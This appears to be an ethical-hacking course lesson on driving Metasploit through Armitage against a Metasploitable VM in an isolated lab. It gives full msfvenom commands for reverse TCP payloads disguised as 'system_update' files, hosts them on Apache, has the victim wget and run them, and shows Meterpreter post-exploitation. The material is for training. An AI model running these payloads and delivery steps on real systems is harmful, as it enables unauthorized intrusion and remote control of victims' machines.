Cyber Services / All lessons / CEH — Ethical Hacking / Armitage A Graphical Frontend for Metasploit

Armitage A Graphical Frontend for Metasploit

Module 40 of 130 · 13 min read · Free to read

MODULES ↓ Command blocks have a COPY button

⚠️ AUTHORIZED USE ONLY - CONTROLLED LAB ENVIRONMENT

This lab guide is designed exclusively for CEH certified students in a controlled, isolated training environment.

  • ✅ Use ONLY on systems you own or have explicit written permission to test
  • ✅ Conduct all activities within the designated lab network (192.168.56.0/24)
  • ❌ NEVER test against public systems, client networks, or unauthorized targets
  • ❌ Unauthorized access to computer systems is illegal under UAE Cybercrime Law & international statutes

Hands-on Penetration Testing Training for CEH Students

👨‍🏫 Instructor: Mubasher Mubeen | Cisco Certified | Security Trainer
🐘

Case Study: PostgreSQL Database Initialization for Metasploit

Scenario: A CEH student launches Armitage but receives the error: "Could not connect to PostgreSQL. Please check your database configuration." The Metasploit console shows: [-] Failed to connect to the database: could not connect to server

🔍 Problem Analysis:
  • PostgreSQL service is not running
  • Metasploit database user/role not created
  • Database initialization was skipped during Kali install
  • Firewall blocking local PostgreSQL port (5432)
✅ Step-by-Step Solution:
// Step 1: Check if PostgreSQL service is running sudo systemctl status postgresql // Expected output if NOT running: ● postgresql.service - PostgreSQL RDBMS Active: inactive (dead) // Step 2: Start PostgreSQL service sudo systemctl start postgresql // Enable auto-start on boot sudo systemctl enable postgresql // Step 3: Verify service is now active sudo systemctl status postgresql ● postgresql.service - PostgreSQL RDBMS Active: active (running) // Step 4: Initialize Metasploit database msfdb init [+] Creating database user 'msf' [+] Creating databases 'msf' and 'msf_test' [+] Database already initialized // Step 5: Verify database connection in Metasploit msfconsole -q -x "db_status" [+] PostgreSQL connected. Ready. // Step 6: Launch Armitage with confirmed database armitage [+] Starting Metasploit RPC server... [+] Armitage GUI launched successfully
💡 Pro Tip: If msfdb init fails, try reinitializing with:
msfdb reinit // This drops and recreates all Metasploit databases

🔧 Common PostgreSQL Issues & Fixes

Issue Diagnosis Command Solution
Service not running sudo systemctl status postgresql sudo systemctl start postgresql
Database not initialized msfconsole -x "db_status" msfdb init
Permission denied sudo -u postgres psql -l sudo msfdb init
Port 5432 blocked sudo ss -tlnp | grep 5432 sudo ufw allow 5432/tcp
Corrupted database msfconsole -x "db_rebuild_cache" msfdb reinit (last resort)
📋 Full PostgreSQL Reset Procedure (Advanced)
// WARNING: This deletes ALL Metasploit data. Use only in lab environments. // Step 1: Stop services sudo systemctl stop postgresql sudo systemctl stop metasploit // Step 2: Remove existing database cluster sudo rm -rf /var/lib/postgresql/14/main // Step 3: Reinitialize PostgreSQL sudo pg_createcluster 14 main --start // Step 4: Reinitialize Metasploit database sudo msfdb init // Step 5: Verify and restart Armitage msfconsole -q -x "db_status" armitage
📋

Lab Overview & Objectives

🎯 Learning Objectives

  • Master Armitage GUI for Metasploit Framework operations
  • Perform network reconnaissance using Nmap integration
  • Create, deliver, and monitor custom payloads in controlled environment
  • Understand post-exploitation techniques and session management
  • Document findings following professional penetration testing standards
💻 Kali Linux
Attacker Machine
🎯 Metasploitable2/3
Victim Machine
🌐 Isolated Network
192.168.56.0/24
🔐 Written Permission
Lab Authorization
1
Setup & Recon
2
Nmap Scanning
3
Payload Lab
4
Post-Exploit
🔍

Lab 1: Environment Setup & Initial Reconnaissance

Theory Component

📚 Armitage Overview

Armitage is a graphical cyber attack management tool for the Metasploit Framework. It visualizes targets, recommends exploits, and exposes advanced Metasploit features through an intuitive interface.

Visual Target Mapping

Interactive network graph showing discovered hosts, services, and relationships

Exploit Recommendations

AI-assisted suggestions based on target OS, services, and known vulnerabilities

Collaborative Attacks

Multiple testers can work on same engagement with shared session data

Automated Workflows

Pre-built attack scripts (Hail Mary, Bruteforce) for rapid assessment

💡 Pro Tip: Always run msfdb init before launching Armitage to ensure database connectivity for storing scan results and session data.

⚙️ Lab Setup Steps

  1. Verify & Initialize PostgreSQL Database:
    // Check if PostgreSQL service is running sudo systemctl status postgresql // Start PostgreSQL if not running sudo systemctl start postgresql // Enable PostgreSQL to start on boot sudo systemctl enable postgresql // Initialize Metasploit database (first-time setup) msfdb init // Verify database connection msfconsole -q -x "db_status" [+] PostgreSQL connected. Ready.
  2. Launch Armitage:
    // Start Armitage with default RPC settings armitage // Or specify custom RPC connection armitage -h 127.0.0.1 -o 55553 // Expected output when successful: [+] Starting Metasploit RPC server on 127.0.0.1:55553 [+] Loading modules... [+] Armitage GUI ready
    🖼️ Armitage Connection Dialog Host: 127.0.0.1 | Port: 55553 | User: msf | Password: (auto-generated)
  3. Configure Lab Network:
    // Verify lab network interface (VirtualBox Host-Only) ip a show vboxnet0 inet 192.168.56.1/24 brd 192.168.56.255 scope global vboxnet0 // Confirm victim machine is reachable ping -c 2 192.168.56.101 64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.8ms 64 bytes from 192.168.56.101: icmp_seq=2 ttl=64 time=0.9ms // Test HTTP service on victim (if Apache running) curl -I http://192.168.56.101 HTTP/1.1 200 OK Server: Apache/2.2.8
🔧 Troubleshooting Common Issues
// Issue: Armitage won't connect to RPC msfrpcd -P password -S // Then retry: armitage // Issue: Database connection failed sudo systemctl restart postgresql msfdb reinit // Issue: No network visibility ip link set vboxnet0 up sudo ufw allow from 192.168.56.0/24
🌐

Lab 2: Network Discovery & Nmap Integration

Hands-on Lab Beginner Friendly

🎯 Lab Objectives

  • Perform network scan to discover live hosts in lab range
  • Execute port scans to identify running services
  • Conduct OS detection and service version enumeration
  • Import and visualize scan results in Armitage

🔍 Activity 2.1: Network Scan (Ping Sweep)

  1. In Armitage: Go to Hosts → Nmap Scan → Ping Sweep
  2. Set Target Range: Enter 192.168.56.0/24 (your isolated lab network)
  3. Execute Scan: Click "Scan" and monitor progress in bottom console
  4. Verify Results: Discovered hosts appear in "Targets" panel with green icons
// Equivalent CLI command for reference nmap -sn 192.168.56.0/24 // Expected output: Starting Nmap 7.94 at 2026-05-09 10:30 UTC Nmap scan report for 192.168.56.101 Host is up (0.00080s latency). MAC Address: 08:00:27:AB:CD:EF (Oracle VirtualBox) Nmap scan report for 192.168.56.102 Host is up (0.0012s latency). MAC Address: 08:00:27:12:34:56 (Oracle VirtualBox) Nmap done: 256 IP addresses (2 hosts up) scanned in 2.15 seconds

🔍 Activity 2.2: Comprehensive Port & Service Scan

  1. Right-click discovered host (e.g., 192.168.56.101) → Nmap Scan → Intense Scan
  2. Scan options explained:
    // Intense Scan = -T4 -A -v -T4 // Aggressive timing template (faster scan) -A // Enable OS detection, version detection, script scanning, traceroute -v // Verbose output for detailed progress
  3. Review results in Armitage:
    • 🟢 Services tab: Lists open ports with service names
    • 🔵 Notes tab: Contains OS detection results
    • 🟡 Right-click service → "Find Attacks" to see relevant exploits
// CLI equivalent for intense scan nmap -T4 -A -v 192.168.56.101 // Sample output excerpt: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 3306/tcp open mysql MySQL 5.0.51a-24ubuntu5 Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.9 - 2.6.33
🖼️ Armitage Service Enumeration View Host: 192.168.56.101 | Services: 22/tcp (SSH), 80/tcp (Apache), 3306/tcp (MySQL)

🔍 Activity 2.3: Vulnerability-Focused Scan

⚡ Quick Scan for Common Vulnerabilities:
Use Armitage's built-in scripts to identify low-hanging fruit before deep analysis.
  1. Select target host(s) in Armitage Targets panel
  2. Go to: Attacks → Find Vulnerabilities → by Port
  3. Choose scan type:
    • SMB Checks - For Windows systems (MS17-010, etc.)
    • HTTP Vulnerabilities - For web servers (SQLi, XSS, outdated CMS)
    • FTP Checks - For anonymous login, vsftpd backdoors
  4. Review findings: Vulnerabilities appear with risk ratings (Critical/High/Medium)
🔒 Lab Safety Reminder:
These scans generate network traffic. Ensure you're ONLY scanning your isolated lab network (192.168.56.0/24). Scanning external networks without authorization violates computer fraud laws.
⚡

Lab 3: Payload Creation & Web Delivery

Hands-on Lab Intermediate Level

🎯 Lab Objectives

  • Generate custom reverse TCP payload using msfvenom
  • Host payload on Apache web server in /var/www/html
  • Simulate victim download and execution (controlled environment)
  • Establish and monitor Meterpreter session via Armitage
⚠️ CRITICAL: Controlled Execution Only
This lab simulates malware delivery. ALL activities must occur within your isolated lab:
  • ✅ Victim machine: Metasploitable/Windows VM in 192.168.56.0/24
  • ✅ Payload execution: ONLY on VMs you own and control
  • ✅ Network: Host-Only adapter, NO internet access during payload testing
  • ❌ NEVER test payloads on personal devices, classmate machines, or external systems

🔧 Activity 3.1: Generate Reverse TCP Payload

  1. Open terminal in Kali and generate payload with msfvenom:
// Generate Linux x64 reverse TCP payload for Metasploitable victim msfvenom -p linux/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.1 \ LPORT=4444 \ -f elf \ -o /var/www/html/update.elf // Generate Windows x64 reverse TCP payload for Windows victim VM msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.1 \ LPORT=4444 \ -f exe \ -o /var/www/html/system_update.exe // Set executable permissions for Linux payload chmod +x /var/www/html/update.elf // Verify payload was created successfully ls -lh /var/www/html/ -rwxr-xr-x 1 www-data www-data 256 May 9 10:30 update.elf -rw-r--r-- 1 www-data www-data 3.2K May 9 10:30 system_update.exe
💡 Payload Parameters Explained:
-p = Payload type | LHOST = Your Kali IP (callback address) | LPORT = Listener port | -f = Output format | -o = Output file path

🌐 Activity 3.2: Host Payload on Apache Server

  1. Ensure Apache is running:
    // Start Apache web server sudo systemctl start apache2 // Enable Apache to start on boot sudo systemctl enable apache2 // Verify Apache status sudo systemctl status apache2 ● apache2.service - The Apache HTTP Server Active: active (running) since...
  2. Verify payload is accessible:
    // Test from Kali itself first curl -I http://192.168.56.1/update.elf HTTP/1.1 200 OK Content-Type: application/x-executable Content-Length: 256 // Verify file listing (optional - disable in production) ls -la /var/www/html/ -rwxr-xr-x 1 www-data www-data 256 May 9 10:30 update.elf
  3. Firewall consideration (lab only):
    // Allow HTTP traffic in lab environment sudo ufw allow 80/tcp // Verify firewall rule sudo ufw status Status: active 80/tcp ALLOW Anywhere

🎯 Activity 3.3: Simulate Victim Download & Execution

🖼️ Victim Machine Simulation
On Metasploitable VM (192.168.56.101):
// Download payload (simulated user action) wget http://192.168.56.1/update.elf -O /tmp/system_update.elf // Verify download completed ls -lh /tmp/system_update.elf -rw-r--r-- 1 msfuser msfuser 256 May 9 10:35 /tmp/system_update.elf // Execute payload (CONTROLLED LAB ONLY) chmod +x /tmp/system_update.elf && /tmp/system_update.elf
🔐 Execution Safety Protocol:
Before executing ANY payload:
  1. Confirm you're on isolated lab network (no internet)
  2. Verify target IP is your authorized victim VM
  3. Document execution time and purpose in lab journal
  4. Have snapshot ready to revert VM post-lab
👁️

Lab 4: Session Management & Activity Monitoring

Hands-on Lab Advanced Techniques

🎯 Lab Objectives

  • Configure and launch Metasploit listener in Armitage
  • Establish Meterpreter session from payload execution
  • Perform basic post-exploitation commands (controlled)
  • Monitor session activity and collect forensic evidence
  • Properly terminate sessions and document findings

🔧 Activity 4.1: Configure Listener in Armitage

  1. In Armitage: Go to Metasploit → Exploits → Multi → Handler
  2. Configure handler options:
    // Payload must match what was generated earlier // Configure these fields in the Armitage dialog: Payload: linux/x64/meterpreter/reverse_tcp LHOST: 192.168.56.1 // Your Kali IP LPORT: 4444 // Must match payload AutoRunScript: post/multi/manage/shell_to_meterpreter (optional)
  3. Launch Handler: Click "Launch" → Status shows "Listening..."
  4. Verify listener: Check bottom console for:
    [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Waiting for incoming connections...

🎯 Activity 4.2: Establish & Verify Session

  1. Trigger payload on victim VM (from Lab 3.3)
  2. Monitor Armitage: New session appears in "Sessions" tab with green icon
  3. Interact with session: Right-click session → Interact
  4. Verify connection: Meterpreter prompt appears:
    meterpreter > sysinfo Computer : metasploitable OS : Linux metasploitable 2.6.35-22-generic #35-Ubuntu SMP Architecture : x64 Meterpreter : x64/linux

🔍 Activity 4.3: Controlled Post-Exploitation Commands

📚 Educational Purpose Only:
These commands demonstrate capabilities. In real engagements, only run commands authorized in your scope of work.
  1. Basic System Information:
    meterpreter > getuid Server username: uid=1000, gid=1000 meterpreter > pwd /home/msfuser meterpreter > ipconfig Interface 1: 192.168.56.101 (subnet: 192.168.56.0, netmask: 255.255.255.0)
  2. File System Exploration (Read-Only):
    meterpreter > ls /etc meterpreter > cat /etc/passwd | grep -v nologin // ⚠️ NEVER modify system files in lab without explicit instruction
  3. Network Reconnaissance:
    meterpreter > run post/linux/gather/arp_scanner RHOSTS=192.168.56.0/24 [*] 192.168.56.1: Found host (MAC: 08:00:27:AA:BB:CC)
  4. Screen Capture (Demonstration):
    meterpreter > run post/linux/manage/execute_cmd CMD="whoami" [*] Command output: msfuser

📊 Activity 4.4: Session Monitoring & Logging

  1. Enable session logging in Armitage:
    // In Meterpreter session, enable routing meterpreter > run post/multi/manage/autoroute [+] Route added: 192.168.56.0/24 via 192.168.56.101 // Verify routes meterpreter > run post/multi/manage/autoroute -p Active Routing Table ==================== Subnet: 192.168.56.0/24 Netmask: 255.255.255.0 Gateway: 192.168.56.101
  2. Monitor real-time activity:
    • Armitage "Console" tab shows all commands and output
    • Right-click session → View → Session Log for full transcript
    • Export logs: File → Save Workspace As... for reporting
  3. Capture evidence for lab report:
    // Take screenshot of session (Armitage feature) // Right-click session → Capture → Screenshot // Save command history to file meterpreter > history > /tmp/lab_session_commands.txt // Verify file was created cat /tmp/lab_session_commands.txt

🧹 Activity 4.5: Proper Session Termination & Cleanup

🔒 Professional Practice:
Always clean up after penetration testing activities to avoid leaving backdoors or unstable systems.
  1. Exit Meterpreter session gracefully:
    meterpreter > exit [*] Shutting down Meterpreter... [*] Session closed
  2. Stop listener in Armitage:
    // Right-click handler job → Stop // Or use console command: jobs -K [*] Killing all jobs...
  3. Cleanup payload files (lab only):
    // Remove test payloads from web directory sudo rm /var/www/html/update.elf /var/www/html/system_update.exe // Stop Apache if not needed for other labs sudo systemctl stop apache2 // Verify cleanup ls /var/www/html/ index.html (only default file remains)
  4. Revert victim VM to clean snapshot:
    • Power off victim VM
    • In VirtualBox: Select VM → Snapshots → Restore "Pre-Lab Clean"
    • Document restoration in lab journal
📝

Lab Reporting & Professional Practices

📋 Required Lab Deliverables

  • Lab Journal Entry: Document each step with timestamps, commands used, and observations
  • Screenshots: Capture key moments (scan results, session establishment, findings)
  • Vulnerability Summary: List discovered services, potential vulnerabilities, and risk ratings
  • Ethical Compliance Statement: Confirm all activities were performed in authorized lab environment
  • Remediation Recommendations: Suggest security improvements for discovered issues

🔐 CEH Professional Standards

Scope Adherence

Only test systems explicitly included in your written authorization. Document scope boundaries.

Data Protection

Encrypt lab reports containing sensitive findings. Never store credentials in plaintext.

Minimal Impact

Use non-destructive techniques first. Avoid DoS tests unless explicitly authorized.

Chain of Custody

Document evidence collection methods. Maintain logs for forensic reproducibility.

📚 Sample Lab Report Template
// CEH Lab Report: Armitage & Metasploit Exercise // Student: [Your Name] | Date: [Date] | Lab ID: CEH-LAB-007 // Section 1: Authorization Written permission obtained from: [Instructor Name] Target systems: 192.168.56.101 (Metasploitable2), 192.168.56.1 (Kali) Network scope: 192.168.56.0/24 (VirtualBox Host-Only) // Section 2: Methodology Tools: Armitage v2.13, Metasploit Framework v6.3, Nmap v7.94 Techniques: Ping sweep, service enumeration, payload delivery, session management // Section 3: Findings ### 3.1 Discovered Services (192.168.56.101) | Port | Service | Version | Risk | |------|---------|---------|------| | 22/tcp | SSH | OpenSSH 4.7p1 | Medium | | 80/tcp | HTTP | Apache 2.2.8 | High | | 3306/tcp | MySQL | 5.0.51a | Critical | ### 3.2 Payload Delivery Test Payload: linux/x64/meterpreter/reverse_tcp Delivery method: HTTP download from /var/www/html Result: Session established successfully at [timestamp] // Section 4: Evidence [Attached: armitage_scan_results.png] [Attached: meterpreter_session_log.txt] // Section 5: Remediation Recommendations 1. Update Apache to latest stable version 2. Disable unused MySQL remote access 3. Implement SSH key authentication // Section 6: Ethical Compliance Statement "I confirm all activities were performed in the isolated CEH training lab environment with explicit authorization. No external systems were targeted." Signature: ___________________ Date: ___________
Modules (130) ← CEH — Ethical Hacking